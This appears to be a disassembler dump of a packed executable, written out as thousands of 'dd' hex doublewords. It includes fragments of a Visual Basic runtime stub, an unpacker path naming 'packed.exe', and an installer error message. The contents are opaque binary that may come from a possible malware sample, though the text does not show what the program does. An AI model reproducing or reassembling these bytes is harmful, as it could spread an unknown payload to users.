dd 17AA0888h, 0E9CFF345h, 82A80A6Ah, 0AC055BDCh, 0F5AF7EE3h
dd 0BA938083h, 0FC00000Ch, 3DE3297Fh, 771D63B9h, 0B55BA1F7h
dd 0F298DE36h, 93D11771h, 0CE2AAB0Fh, 95FE288h, 459B1DC3h
dd 7DDB59FFh, 30740037h, 21F80DA3h, 15A5D627h, 0BAF63C94h
dd 32E9FA3Eh, 87F127E0h, 0DF39B725h, 97158099h, 73BC1D41h
dd 7DCBE3B2h, 7D8BFE60h, 4563A9FFh, 0F63A5E64h, 21F29C00h
dd 5E4468D2h, 21F386E0h, 17E04CBFh, 0F1DE0EA3h, 70EC985Fh
dd 4E5AF769h, 79h, 7A0C9DB5h, 84E463F9h, 3ACD1FF1h, 0AEF21668h
dd 21F22FE4h, 0E63CC066h, 650F7094h, 0D16EFB29h, 6AD649ABh
dd 0DE0DF09Dh, 7206E97Bh, 5AF834F6h, 44D4h, 6BB71800h
dd 1C09F107h, 9D5B3C9Eh, 4E92B60Ch, 21F21560h, 8125B822h
dd 0EA32C105h, 12B8DE0Dh, 0CFA13492h, 804F1B7Dh, 60DE0DEAh
dd 0E15DE9CEh, 0BD5AF822h, 13h, 0B70AA001h, 5F5E1264h
dd 0D03284DCh, 8E636EFh, 7F6D0000h, 2BC5FA1Eh, 0E9BB4EAAh
dd 0F6CB6FE0h, 0C9FBAE94h, 0BD3D61A5h, 95FF21F8h, 8F0FF571h
dd 72D4A639h, 0D5798604h, 0AE7A8BF1h, 18CB6BFh, 0CC477952h
dd 12F8347Ah, 65D33593h, 7ED655E7h, 34C719EBh, 9228AA90h
dd 5224B711h, 0F1B89E00h, 0E72BA7CBh, 0DE08191Ch, 67E674DEh
dd 67ABAF11h, 0D81023A2h, 20062A94h, 0BF2044A2h, 0EAFF0F69h
dd 0AFD537B3h, 20B3F773h, 0AAD42FDBh, 0F270DE40h, 0DB757EC2h
dd 0B75D42Fh, 9A026B9h, 2DF980E1h, 0C9874C75h, 2F3516DDh
dd 31B3D4D4h, 40D18FF0h, 96BA0C5Eh, 3D765852h, 5FB822D2h
dd 0EBCA880Eh, 0ECEBBBEh, 5000000Bh, 892F75D3h, 0C369AF05h
dd 0F99FE543h, 2ED41A7Ah, 0CF0D53ADh, 0A66E7D3h, 459B1EC4h
dd 81D759FFh, 0C117953Bh, 74B8447Bh, 21F8726Fh, 0B7E91A6Bh
dd 27E03328h, 0D6FAC0E9h, 7F7DE92h, 70B620DEh, 4F935752h
dd 0DE07F784h, 0C91FA046h, 0C0126436h, 0BEA4209Ch, 0ECF7E33Dh
dd 0EEDE07F7h, 1E70C648h, 0CD44F0BCh, 0C1A7D81Fh, 8052E543h
dd 6B8FF91Eh, 2D8B09EFh, 0B7DF5DCBh, 2FB86073h, 0AE006AD4h
dd 0E244C268h, 0DAE0C94Fh, 0F452D0B6h, 6A79BD61h, 70D42FB8h
dd 4E52B406h, 3782BF0Ah, 0B1D53FD2h, 0C7EB4DCBh, 48CA5EE1h
dd 37895BEEh, 37CA2AA9h, 0A1DD0365h, 4ADD3BBBh, 2AA81678h
dd 0CC47A8CCh, 85E39292h, 7FA02D36h, 9A327FF6h, 8C59C538h
dd 8D4A57A7h, 682A61Ch, 0E4469C20h, 45ACBA18h, 840A14Ch
dd 3056E6A8h, 0F25C81E3h, 0D2D8CA99h, 0A28F9261h, 0A15h
dd 387EDA57h, 72B80E92h, 0B0F64CCCh, 0E72D8B0Ah, 2268C041h
dd 7F00BEE4h, 0BA3DE329h, 0F4761C62h, 30AE549Ah, 0CD5990D6h
dd 0F8737A89h, 0FE2F8021h, 92B60C9Dh, 75D72DACh, 8392D71h
dd 7BDC21F8h, 1828659h, 394214A7h, 7CDEF7B9h, 4DC9ED57h
dd 6B468DD1h, 0BD3BDE07h, 0B1F6C85Bh, 0DD2F890Bh, 398F0D7Bh
dd 0C2CF4DF3h, 8B702CF2h, 35C81AD3h, 0B2F6FAAFh, 0DE070321h
dd 30B13FA9h, 217345D8h, 3989B9FDh, 8E74D81Fh, 5325B80Eh
dd 8FF147C5h, 0F6DC006Ah, 264E278h, 85E3616Fh, 0F59BE133h
dd 88E2177h, 0B3F71BA1h, 0D236FF4Eh, 9C82A610h, 4682C81Eh
dd 0D93207E5h, 4081C6DFh, 87CCD590h, 0F254D2F5h, 0D93B8D5Fh
dd 0F88BED6Bh, 5655438Ch, 0E024A0CAh, 0CA565513h, 250B6DD7h
dd 0B91A3E84h, 9258C586h, 9DA10305h, 5DBB3B21h, 0CA96F8CAh
dd 0CC4E7162h, 0CEF6761Ch, 7E0D798Ah, 0C51781C0h, 0EA0E6032h
dd 74F48604h, 0E086CC1Eh, 0EB710462h, 0E341C0BEh, 7D296D91h
dd 0BFC66637h, 0A83B9919h, 0FF6084D6h, 0E9DE4288h, 64E67476h
dd 43A5770Ah, 5D5F4AD0h, 4383F539h, 3051C074h, 0D56EE810h
dd 0B50E6001h, 0DD03C7F8h, 0C6C8B5B8h, 8000008h, 41E72D8Bh
dd 7B2167BDh, 0B1579DFBh, 0E68CD232h, 87C50B65h, 0C21E9F1Bh
dd 0FD53D67Ch, 398F11B7h, 79CF4DF3h, 2C70FC33h, 21F871A7h
dd 15A1D223h, 997E8A97h, 61AF9004h, 23F588E0h, 9A69ADD1h
dd 6027E000h, 6D11A4F6h, 1DB00887h, 0FD7BE94Bh, 1291779Bh
dd 0DD50B2h, 0A52319DEh, 0DF318707h, 0C9C13D99h, 79D54E5h
dd 4000000h, 49736h, 1E7F6D00h, 9B2FCC7Bh, 7046A87Dh, 319316A6h
dd 47FFC90Dh, 137D21F2h, 0A965BCD8h, 65440D05h, 0D6553B5Fh
dd 8B19EB7Eh, 4C1EB107h, 54A2E6EAh, 9607107Ah, 0C21472F0h
dd 0BA00A92Fh, 9630B096h, 582ABD13h, 98A17306h, 0B8CF9E8Fh
dd 9FA305F9h, 25D5F65Bh, 4EA7C801h, 8B1C1496h, 0FBF9AE42h
dd 0F12E64F2h, 0F689DF63h, 0C8AED224h, 0A6EC4Ah, 14CB2482h
dd 0AC1CCD22h, 7D7BCA9h, 9C190000h, 0CC50F63Ch, 0A8A3076h
dd 41C066ACh, 76F79DE3h, 0C96D41Ah, 8DD32DAEh, 0C60C64E7h
dd 2489E20h, 4288DE5Ch, 0A83B7F0Bh, 3221F871h, 997FB0E1h
dd 0EF5DBF15h, 0F2014571h, 0F827E032h, 5A93C8Eh, 0B6499F1Fh
dd 931482E4h, 0D0D9F73Dh, 482C6EAh, 0E621F808h, 98DC587Ch
dd 0DE07F44Bh, 1797258Fh, 0FA5C2EC1h, 349210F6h, 6CCA48EEh
dd 85E36248h, 7F2AB023h, 0ADD5193Dh, 6FD81FCEh, 0E965E105h
dd 2FB95EA5h, 0D0329CD4h, 3C82E462h, 2BBE1896h, 0EB449C1Dh
dd 0F5B8387Ah, 3612FF02h, 78000007h, 0B1579DFBh, 0EB91D72Dh
dd 21C70D6Bh, 56FC42A2h, 0F7357BD5h, 328E0FABh, 6DC346ECh
dd 0A9FF8127h, 0E93FBD63h, 9CE06CA3h, 21F87657h, 9D114293h
dd 4E92B60Ch, 21F80826h, 0B17EC7E8h, 97879E04h, 0BD3B2145h
dd 0F16F155Bh, 2B7E0497h, 3B317599h, 0C1D8150Eh, 585DFE57h
dd 0CACDF5A3h, 6D4DDh, 3F991600h, 79CF53F9h, 0B70D8D33h
dd 0EC4CCB71h, 297F00A6h, 0C1FDA5E3h, 0FCA2E840h, 37DD2379h
dd 6F155BB5h, 1A5197F1h, 76B94A8Eh, 0F04121F8h, 6F9715BFh
dd 0E032D82Bh, 66B82227h, 0F147C5D3h, 0F975815Eh, 0CFEA8F98h
dd 0C2AE3B61h, 27E06831h, 3EC14FB9h, 856A84E6h, 89CF29A7h
dd 0E59CB12Dh, 78D54h, 36F40000h, 2ACh, 597156Dh, 0FE9D7683h
dd 0E57CB0C1h, 28AE4193h, 0D3173B81h, 21F829A3h, 7EDF036Dh
dd 0D8697AF5h, 0D5FB5D16h, 9C1BB12Fh, 0D6287E00h, 62E3F184h
dd 7A2C006h, 44D91B5h, 0C6D81F71h, 73832DA5h, 52A4E817h
dd 0B5CA482Eh, 0DF607B73h, 1B24F689h, 0DD2FC42Ah, 0D973F197h
dd 18ABFD5Bh, 0B2F890Ah, 15B84B8Fh, 0D842D42Fh, 2C7D0376h
dd 0B2F67296h, 0D42F1521h, 0D9DD3FA9h, 3D3F2795h, 328BF5D2h
dd 0EBCB4E9Fh, 0DE473437h, 20000005h, 59FF45A3h, 93397FD5h
dd 0C96FB513h, 0FEA4EA4Ah, 9FDD237Dh, 0DA36B703h, 156BEE94h
dd 51A729CFh, 91E7650Bh, 4488144Bh, 21F877BFh, 15B9EA3Bh
dd 0A0AE4197h, 5431C422h, 87E16248h, 46240B25h, 0CC286EC8h
dd 54E5F650h, 2ABF3091h, 88EABB0Fh, 7BF26h, 36260000h
dd 167h, 18997F6Dh, 0F95B2DC0h, 52AB0D8Bh, 677B3B5h, 6A1D0A0Dh
dd 0AC000005h, 0ED93D92Fh, 27CD1369h, 650B51A7h, 0A2488EE6h
dd 4381C721h, 7EDA5B5Fh, 0B90F9238h, 0F54BCD73h, 2D8B09AFh
dd 0E024B0E7h, 21F87413h, 155586D7h, 0A0AE4197h, 0AF058822h
dd 0D253395Dh, 0C4A11476h, 61DFDDA2h, 0E965C107h, 0C554E5F6h
dd 19h, 0F9362Ch, 0E94A0000h, 969C16C2h, 67C14315h, 36D2B315h
dd 0E7h, 0B60C9D6Dh, 22B51692h, 7ADAB42Eh, 0ABAD627Ch
dd 0E40B71A2h, 7E8EB682h, 2F5021F8h, 2FC797F1h, 871A6C98h
dd 0EE12A801h, 0A3318708h, 5D61C325h, 1A05BF19h, 0F23D9ED8h
dd 0B35164D4h, 76C81EA0h, 2C85EF14h, 0F5A2528Dh, 0B26D5A5Dh
dd 0F4000004h, 35DB2177h, 6F155BB1h, 0AD5399EFh, 0EA90D62Eh
dd 8BC90F69h, 0C622A317h, 157DA80h, 3D9315BBh, 75D351F7h
dd 286CF82Fh, 21F875DBh, 9D9DCE1Fh, 0AC92B60Ch, 6F41D42Ah
dd 71C5090Dh, 2421F27Ch, 0D164BA3Eh, 92F271FFh, 0A6CB2DFFh
dd 0FBEF6585h, 0B0BED7A0h, 1AD4DDA8h, 0FD21736Fh, 0FB419717h
dd 0D5EE9F7h, 4C900CDEh, 0DE0D5E87h, 0D71C7AFAh, 1F9D0B6Dh
dd 20B3098Dh, 0A5388E12h, 0E92F81D3h, 0D265C343h, 4CCCB22Eh
dd 5EF90AF6h, 9701DE0Dh, 41BE835h, 9D1F0000h, 9AFC7A0Ch
dd 0C03E2448h, 9F01D366h, 92F579Bh, 87F121F8h, 893B6EF4h
dd 0C2A72165h, 1B85D815h, 0A23C31C2h, 190609F5h, 3EDh
dd 1056B22Fh, 4A90E66Ah, 88CE24A4h, 0BF0563E2h, 0FA409819h
dd 57D8E6BCh, 9215BB01h, 0CC4EF43Ah, 8862C72h, 0A53168AEh
dd 0F8759261h, 0D6075821h, 92B60C9Dh, 0C72FB516h, 64D497B1h
dd 25F78AE0h, 0F1A571D3h, 4321F8BEh, 51CFB5D9h, 8F75B1F7h
dd 1220B30Dh, 0D1A33690h, 0CC175B7Fh, 0EDE084Eh, 56D442A4h
dd 0C2E76D00h, 77F6DC00h, 5ABC8E21h, 74FF1256h, 0D53FD810h
dd 0E2F135B1h, 9FD43070h, 417DC21Eh, 3070F6FDh, 388AF4D4h
dd 6EECD2D6h, 70F10246h, 0BDF9D430h, 30706A79h, 0B40670D4h
dd 0FAE01C62h, 662E379h, 0ED4FA173h, 14A7017Fh, 85A91B8Eh
dd 9F84A809h, 3D321CDAh, 0B11365BBh, 227CC7E5h, 745AD6D2h
dd 2FB4A0F6h, 0ABCA5E03h, 50BADF41h, 0C9820AF7h, 0DAC7CAEBh
dd 30Dh, 3076D24Fh, 6AB0068Ah, 0A8EE44C4h, 0DF258302h
dd 1A60B839h, 77F8C6DCh, 0B235DB21h, 0EC6E145Ah, 28A64C92h
dd 0C55188CEh, 0F87A7281h, 0F6277821h, 0AE419715h, 7EC422A0h
dd 4F734960h, 0F21DFD0Bh, 0D659FF21h, 0C719EB7Eh, 0E33FC834h
dd 47D9DE0Dh, 2558D460h, 37365AF8h, 7A000000h, 0D4DF8A19h
dd 5BBD2C50h, 0B60C9D7Ah, 3B9F3192h, 6F441AF1h, 2F0194ECh
dd 33777BDDh, 21F2C4EDh, 672056Fh, 0DE0E87F9h, 16A28517h
dd 5AF7459Ah, 0BC78h, 9715DF00h, 240AAE41h, 80EE50A6h
dd 816A9FFh, 8B992C8Ah, 6FF3D90Dh, 0C8B48619h, 27E0323Bh
dd 0BD0355BFh, 0E036FCB9h, 61B73527h, 0A1F7751Bh, 846A0Eh
dd 0B74517AAh, 9379DB35h, 3C80A416h, 0DE0DCB0Ah, 1A387EE8h
dd 0C5092D8Fh, 0D819674Ah, 25F7E849h, 6A9B68ACh, 0F55FD439h
dd 5880CDECh, 4367D1F6h, 3E84DC5Dh, 0B1428602h, 39D43939h
dd 7EFF6DCFh, 0B80A64E6h, 0AEB8B85Fh, 483538F5h, 1F9h
dd 145ABE3Bh, 4E94EA6Eh, 84CA28A8h, 0C3095FDEh, 0FE449C1Dh
dd 5BDCE2C0h, 9619BF05h, 0D052F83Eh, 0C8A3076h, 0A12D64AAh
dd 0F87B965Dh, 0D2035421h, 0F63C9415h, 2E74D250h, 0B60C9D15h
dd 569A1692h, 27E0328Dh, 0B581E34Dh, 21F21363h, 58AE2C12h
dd 8BED4BCAh, 0FD69FC66h, 0DE0DEDF2h, 2FBB7C0Eh, 0C6EC649h
dd 0F81B6CE8h, 0ED31AD5Ah, 0DE0DE1E6h, 0B1187AE4h, 0DDh
dd 0F0D94F5h, 0E58E5051h, 9715A283h, 0D9A718Ah, 97E90B5Ch
dd 1B75F604h, 783B96F7h, 979E0A5Fh, 5B56C235h, 0D227E0C8h
dd 70ACF254h, 1EB1078Ah, 0FE7CEA4Ch, 1A8F15A8h, 1C9E84A8h
dd 185C60C2h, 21F2C976h, 50365AC4h, 0EE073D1h, 416886ACh
dd 0D513577Bh, 38D81A6Eh, 5DB587D7h, 43D16B44h, 0DC0163C5h
dd 0E7684E72h, 0AE0F4B91h, 0B472441Ch, 2A820581h, 1173C597h
dd 6DC622A3h, 0F5AD40A4h, 0FA443134h, 3C000000h, 7D2369BFh
dd 0B75DA3F9h, 0F59BE137h, 32D81E76h, 0D31157B1h, 0E6AEBCFh
dd 499F22C8h, 85DB5D03h, 0BD1B993Fh, 70B44077h, 21F87863h
dd 15E51667h, 32183C94h, 0CDF355B3h, 0A04D3091h, 16590121h
dd 6EC846B4h, 90E6644Ah, 50CC082Eh, 0E08EC70Ch, 37990327h
dd 6F971556h, 0E032D82Bh, 66B82227h, 7182C642h, 7927E032h
dd 2C3AAD0Fh, 0F41258AEh, 0A7EB0FB5h, 21F8086Eh, 0C5D366D0h
dd 5ABF147h, 0C81B5F87h, 12DE07F4h, 57C356A8h, 9B724A4Fh
dd 0E0DEA12Bh, 18BE0462h, 9BA93C9Ah, 0B298BC1Ch, 8BBD2031h
dd 792EECF1h, 60C29427h, 55BDFEDh, 1411E972h, 2E3FA1EFh
dd 36C91FA0h, 5416D9B3h, 0BAB07751h, 55B6DA3Ch, 9C261770h
dd 113799F7h, 126EEFD5h, 9F1FAD7Fh, 0FB79E749h, 161D0A9Dh
dd 31000000h, 5D6E81D0h, 9F016194h, 0BF037FBEh, 27E03234h
dd 0F2EA4CB6h, 40981581h, 0C7219FADh, 4AA42634h
dd 0CE26A9B7h, 54AC2D3Bh, 0D632B3C1h, 5EB63543h, 0E73DBDCBh
dd 6CC24654h, 895722D9h, 4C781E7h, 81000000h, 4EFh, 243C8700h
dd 240C895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68240489h
dd 7ECh, 56243489h, 0E30BA68h, 24348B59h, 4C481h, 0EE810000h
dd 52F5F43Fh, 815EF089h, 4ECh, 24248900h, 4240481h, 5E000000h
dd 54C668h, 24048900h, 8B08468Fh, 89532434h, 4C381E3h
dd 83000000h, 1C8704C3h, 34FF5C24h, 0C4835824h, 0FB24E904h
dd 0C436FFFAh, 453E7D74h, 0E9F5FB1Ah, 0B810174Fh, 6184BF8h
dd 0E0FFC503h, 549A63Bh, 8C37379h, 795AB6B2h, 116B131Ch
dd 3FE31C11h, 6D8738F4h, 0F5D8E1Bh, 365C5EF4h, 0F5F40D5h
dd 315528B0h, 2E748CC5h, 5F54A6CEh, 79E37596h, 78CE5D66h
dd 3B2762C9h, 50CAA155h, 58427A62h, 6CCB607Fh, 6B473365h
dd 134FD69Eh, 67785300h, 5ED24970h, 7A52B63Fh, 753DDC4Ah
dd 5B46EC3Bh, 1909858Fh, 30FA68EEh, 52E3480Bh, 515A661Ch
dd 16BA3538h, 6789D435h, 7E8h, 1C3AE000h, 16477719h, 12E95Bh
dd 85920000h, 0FEEF888Fh, 23FC568Dh, 78D04613h, 0B6376160h
dd 6C11C381h, 0E4800000h, 0BE75h, 0BF0F0000h, 333C8BC7h
dd 10E9h, 0C2542800h, 9CDD2FA3h, 49069375h, 0F7E0D5E4h
dd 88F78125h, 0B836870Fh, 42E896E9h, 0A170EF81h, 0C7814826h
dd 78C0BE37h, 0FAE88166h, 35B25725h, 0E933048Fh, 0Ah, 4899957Eh
dd 43643151h, 7E923C4h, 40000000h, 0E3A7E75Ch, 0EE83B51Bh
dd 8B566003h, 0EFBB5FC7h, 615A87C7h, 0FE84Eh, 0B2E00000h
dd 486B771Dh, 1FA41463h, 0BAD566AAh, 0B70F516Dh, 815859D6h
dd 0FF94DCFEh, 1A850FFFh, 0E9000000h, 0Bh, 72F1DDC2h, 0BF5B6EFDh
dd 0E910221Dh, 22h, 11B4108Ch, 94B866FCh, 0FF53E95Bh, 5041FFFFh
dd 0D9F3C37Ah, 0D4C335A7h, 15D5E389h, 0C57E557Dh, 7FE9550Ch
dd 0B000001h, 0DD65B2A3h, 437C8360h, 5F6D5C3Ah, 61706E75h
dd 72656B63h, 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
dd 654Eh, 8 dup(0)
dd 62E90000h, 6800001Ch, 61851B5h, 0FA3168E9h, 528668FFh
dd 5EE90618h, 68FFFA31h, 6185379h, 0FA3154E9h, 541668FFh
dd 4AE90618h, 68FFFA31h, 6185455h, 0FA3140E9h, 551568FFh
dd 36E90618h, 68FFFA31h, 618556Bh, 0FA312CE9h, 55BC68FFh
dd 22E90618h, 68FFFA31h, 6185DA9h, 0FA3118E9h, 5E2068FFh
dd 0EE90618h, 68FFFA31h, 6185EF1h, 0FA3104E9h, 5FCF68FFh
dd 0FAE90618h, 68FFFA30h, 618604Ch, 0FA30F0E9h, 612A68FFh
dd 0E6E90618h, 68FFFA30h, 61861DCh, 0FA30DCE9h, 62D068FFh
dd 0D2E90618h, 68FFFA30h, 61868B9h, 0FA30C8E9h, 69B268FFh
dd 0BEE90618h, 68FFFA30h, 6186A6Fh, 0FA30B4E9h, 0A56A27FFh
dd 42CDBF58h, 0E12E5CF5h, 7B94FB94h, 17F8952Eh, 13DBDACAh
dd 0AF48957Ah, 4DE633DCh, 0E67FCC43h, 401A67A8h, 0AF9EE9F1h
dd 0DD4DF7h, 0BDCAD2E9h, 0BE4DF7AFh, 14F220B3h, 5F92F5FDh
dd 0E6F147DFh, 0CD4C4253h, 22E14CC3h, 0C1EA2569h, 0ED2735CFh
dd 4F34C7AEh, 0BA070886h, 0AE6D545Dh, 0F1E1E8A6h, 5F949F49h
dd 0F1DA4447h, 4E93AF4Dh, 0AE985F37h, 208C24h, 0AEDE0000h
dd 0F901C0A5h, 49F17ECDh, 0E0F82D38h, 4DF180ABh, 0DEB52C48h
dd 24AEDFE6h, 12133h, 5B148500h, 14281F32h, 730441CEh
dd 2A647508h, 9FE8991h, 4E5647E0h, 47E00A39h, 9CA73F4Ah
dd 5A33FC31h, 0D7B780B5h, 543A0338h, 0FB7BFCBBh, 0B131FB65h
dd 0AFEAAC5h, 8E0926E1h, 0E916FEFBh, 0B347E00Ah, 4245B432h
dd 790CD0A8h, 9CE92668h, 4F848B03h, 0DCCB9C2h, 0C8513DF6h
dd 42154AC5h, 6ECFA2D7h, 0FF5FF21Dh, 49F1D7DBh, 4C546BCAh
dd 4DF1DC3Bh, 0FA8D3D48h, 894DF1DBh, 0DB65222Ah, 0B164DF1h
dd 0C14E3FA0h, 14EB98Ch, 0F7B69BA4h, 0C5203176h, 8316BD9Eh
dd 4944FD14h, 2BBE91C6h, 466BBCBh, 0A3EAA350h, 0D164376Ch
dd 6BF7E89h, 20C8CA87h, 0D51A72Eh, 0C4CCE3A2h, 47E657C3h
dd 2522B5C0h, 8F0E018Ch, 0EDBE5CA1h, 0A125EC91h, 0BD000019h
dd 55EE3BD4h, 0F28BD837h, 912A7798h, 2BC411FEh, 7060AD62h
dd 2BE4A945h, 0C94645DEh, 62ADE37Ch, 0FD127C15h, 7F87D6B0h
dd 4DF7B108h, 72C89E7Bh, 838CFE1Bh, 0B4BC7B4Eh, 47DF5FD3h
dd 7B3AA5B0h, 91AC65FAh, 26B9ACFBh, 11FE9029h, 0A5AE0EC4h
dd 0CDF901C0h, 1149F17Eh, 46D93658h, 0A6BEF3FEh, 4DF180E5h
dd 98EFF20Eh, 24AEDF38h, 0A2EDh, 1C723F00h, 137B34F3h
dd 61F4C7FCh, 35DAB37Ch, 5C17E800h, 335B47DFh, 98F68FDCh
dd 0ACB54277h, 0DCFE06C5h, 0CB49F164h, 0D1673C0h, 99526928h
dd 22F31CF3h, 3659D4B5h, 2B68C85Bh, 185004DFh, 0F8954E0Dh
dd 0D3CCBBC3h, 0A4AF47E5h, 59C44B43h, 0F51A730Ch, 0BED0F276h
dd 14DB80EDh, 18D0h, 1D6AA5ECh, 0BA070884h, 59A66921h
dd 0F340CFC0h, 8FDC335Ah, 0B5D8169Fh, 17740D5Ah, 7E12ABF8h
dd 0E3AB4491h, 0B605DF2Ch, 0F7B1D9AEh, 0F7CDAA4Dh, 92F5FD14h
dd 0F147DF5Fh, 4B4253E6h, 0B0DE77C4h, 725C125Fh, 7B34F31Ch
dd 8469FC13h, 0E0E8D3BBh, 47DF5FA7h, 588D820Bh, 77E2ED85h
dd 0DDC4CD2Ah, 78BC161Eh, 202B49F1h, 0A5ADC4EBh, 4DF182E2h
dd 0A30396A1h, 4DF182E8h, 9BF2EF0Bh, 24AEC13Bh, 0BEF0h
dd 43480100h, 31C497CCh, 2F5B1403h, 45D8ABE0h, 141DE65Dh
dd 0E8666E2Dh, 1F49F175h, 1D45514h, 7740F543h, 0E0E174h
dd 818A247Dh, 6E2D141Dh, 7A492866h, 1F545F1Ch, 0AED9E1F8h
dd 0CD1C79EAh, 0AB0A99C2h, 0E447D0ECh, 8E737C51h, 0C84EC7CFh
dd 2A351E8Dh, 33DCB26Bh, 29982BFEh, 0A4F11E70h, 0D8C830Bh
dd 3F37C84Fh, 0DD773EE3h, 0F9000017h, 912A7798h, 2EC714FBh
dd 0CD66B35Ch, 67004DC2h, 0AC9CE926h, 67A8E509h, 50A811Ah
dd 9E711FB8h, 39D6B851h, 0BBC312ECh, 4DF7B2CCh, 72FCD2AFh
dd 31BEF31Ch, 0C7484328h, 9554BF92h, 0F179458Dh, 0E6A5B049h
dd 78AD622Dh, 0C44B44A5h, 9B7E3431h, 0DFC6CFA8h, 75361820h
dd 465149F1h, 658415F5h, 0CDD6CEF8h, 6D2129E8h, 18CB2C7Dh
dd 319C7317h, 741CD5FCh, 0F52AE5A5h, 0AF82B722h, 573E471Ch
dd 0B8859098h, 6772D11Bh, 709FEFA8h, 0B048A23h, 85F8C48Ch
dd 2C96E6Ch, 1740h, 8DDA355Ch, 2A7798F4h, 0C916F991h, 63B05F30h
dd 0FF4CC3CAh, 4548A60Fh, 0A7E47DCAh, 0E821B68h, 731BB401h
dd 26754F9Ch, 0F7B3691Eh, 673D1A4Dh, 74F31C72h, 0EDB8A4D2h
dd 134FBA0h, 1D000017h, 0B54E9B74h, 52EB38D7h, 0F18AD738h
dd 8B24719Eh, 0D0C00D02h, 8B8409E5h, 29E6A53Eh, 0C24D43DCh
dd 5DB2DC75h, 0DFE73610h, 4DF7B3A8h, 7228FEDBh, 31BEF31Ch
dd 727A3928h, 49F1736Ch, 9303505Bh, 0C2AFB8C1h, 9253FB03h
dd 0D28B5003h, 79C154BBh, 0C03D1D6Eh, 5AA3661Fh, 8EA56451h
dd 6B798B0Dh, 0E2430571h, 5F3267A8h, 3B226CCCh, 0BD3EE69Ah
dd 9199DAC7h, 0E299E0F6h, 0C4517A85h, 0FD8FF015h, 770ADD12h
dd 62EF242Fh, 112EAE59h, 0F88A5C8h, 642CE5A4h, 17C582ABh
dd 40ED7431h, 0DF363EADh, 0C4E4AD6Dh, 4D41FAB9h, 3858C1CCh
dd 0B4016CD7h, 1D9C731Bh, 7117B261h, 41854CF1h, 5D000016h
dd 0F58EDB34h, 922B7897h, 31CA17F8h, 0CB64B15Eh, 10004DC2h
dd 0CB4449A5h, 69A6E57Eh, 20D831Ch, 9D721CB5h, 1F277650h
dd 4DF7B468h, 23683E1Bh, 47DF5F64h, 0DF6F8CFFh, 7FACDF47h
dd 0CCBF47DFh, 0EE47DF5Fh, 0FA1579A0h, 0A462108Fh, 2BD0EDB8h
dd 15EB64h, 858A0700h, 22ED9F38h, 0C14E3CD5h, 5BB4DB74h
dd 0F718750Eh, 0F3FBBAAAh, 8F28759Ah, 2DC613FCh, 0C65FAC63h
dd 20FA47C8h, 0B4BEC9D1h, 0E0BD4DF7h, 0C0A5AE0Ah, 8F6DF901h
dd 5A7149F1h, 0F18F3552h, 0A83B464Dh, 0D6D65560h, 1CEBAA8Ah
dd 159AB077h, 0DBB60000h, 3E4EE734h, 9FEB84D1h, 58A2370h
dd 6924BD0Ah, 4C6959A6h, 0D724EBA2h, 75C24D3Eh, 0E5BB4DCh
dd 0A9F61975h, 0F7880CFh, 6C4DF7B5h, 1C72B98Fh, 3407C235h
dd 7BE6C9CEh, 888703BCh, 30E910F5h, 0AB7EB35Ch, 99CE414Ah
dd 6C2233C6h, 0F4836EA3h, 29BC533Bh, 748B04DDh, 0DFD01B6Ch
dd 4E394147h, 2D47DFCFh, 567F8A22h, 36764780h, 7EEB7EB5h
dd 22BCB906h, 30D3h, 68232500h, 0F447DF5Fh, 5FB2D5DDh
dd 0A2AA47DFh, 47DF5FE5h, 0E8F38B96h, 0C54A4455h, 0D03F4D06h
dd 3835C89Bh, 0B8DBBC50h, 0E0A7DC47h, 14F0h, 0F31C724Ah
dd 392831BEh, 0E5AA637Ah, 5E2CF52Ah, 3EA97CB1h, 0CF62ADDDh
dd 0F171136Fh, 0CA172249h, 0D3B4BCD3h, 0B04DF179h, 343D12A5h
dd 0E0868E4Dh, 0E750038Eh, 3065AAE6h, 6B860109h, 0EAF547DFh
dd 0B8DF147Fh, 8FC190FFh, 110367C5h, 0A2B346B1h, 0F2DA27E8h
dd 47E0169Ch, 0E6A56A22h, 1FB25D2Dh, 0C038922h, 917E0ED7h
dd 55D67D5Ch, 6B255E99h, 739C6FA4h, 0ABE37FDBh, 0F15C2F64h
dd 14CF125Eh, 26E9A178h, 0F4B31EF1h, 85BA553Bh, 2D221FB2h
dd 22BCD855h, 29C82h, 0A5AED400h, 2DF901C0h, 3149F18Dh
dd 0F5BB6BB0h, 0F1C19AEDh, 0B5DEE94Dh, 6823919Bh, 61A93CA7h
dd 0F6169756h, 8BFF0010h, 743D22B5h, 0B3AAF718h, 91F3949Ch
dd 85904DF1h, 64ABE1F2h, 8987082Fh, 26BD6D5Fh, 870464F7h
dd 0FF4DF23Ch, 0D1BB26BBh, 8B94F13Eh, 0CFDFE7A6h, 0F6500456h
dd 18732CEBh, 587F64F7h, 0D6F320D7h, 0BE510163h, 0D3DBE0ADh
dd 47E007B4h, 46FCFEC7h, 0DC45D8FAh, 0C2B90671h, 598E8109h
dd 205A5D86h
dd 0FD67B79Ch, 0DB34596Ah, 0E32C631Ch, 107ADBAEh, 6F876CFFh
dd 47DF6E1Eh, 32BD2468h, 74F5B45Bh, 6442E7B4h, 9CEF5051h
dd 86E3E073h, 58D9987Dh, 0EA284BCEh, 82EF0C48h, 0BE3A9CC5h
dd 7078E77Ah, 49F1D666h, 4F848851h, 0AA6F0A72h, 4D410A3Fh
dd 0B2DC75C2h, 0A7E59E5Dh, 0CD603368h, 74B7D0E8h, 83C74DF1h
dd 0E0B835Eh, 8A5D927Dh, 0E6A7601Fh, 0A2999629h, 7504838Bh
dd 76774DF1h, 0F0C3F817h, 0ABE1F285h, 26662F64h, 51D5B4E9h
dd 0D8375590h, 0AFDB948Bh, 7483040Ch, 0F5004DF1h, 0EF82558Ah
dd 0AEEB0282h, 0D4D724h, 72290000h, 7D92FE1Bh, 0D50A7548h
dd 598E810Ch, 0EBF67Ah, 3E35828Dh, 0D1BB1BDh, 86598E81h
dd 95801F5Dh, 9386636Ch, 8417A69Dh, 0BCAFBF17h, 4646FF22h
dd 60C194C9h, 4A4CDF30h, 96h, 4B3C445Bh, 3847DFB4h, 4DC2CC2Dh
dd 84B24518h, 34F31C72h, 0CAFF107Bh, 0B67F64F7h, 230237D8h
dd 0E7A7429Fh, 0EEE6DB28h, 3B22BCE2h, 66h, 14FB934Ch, 0A5AE5381h
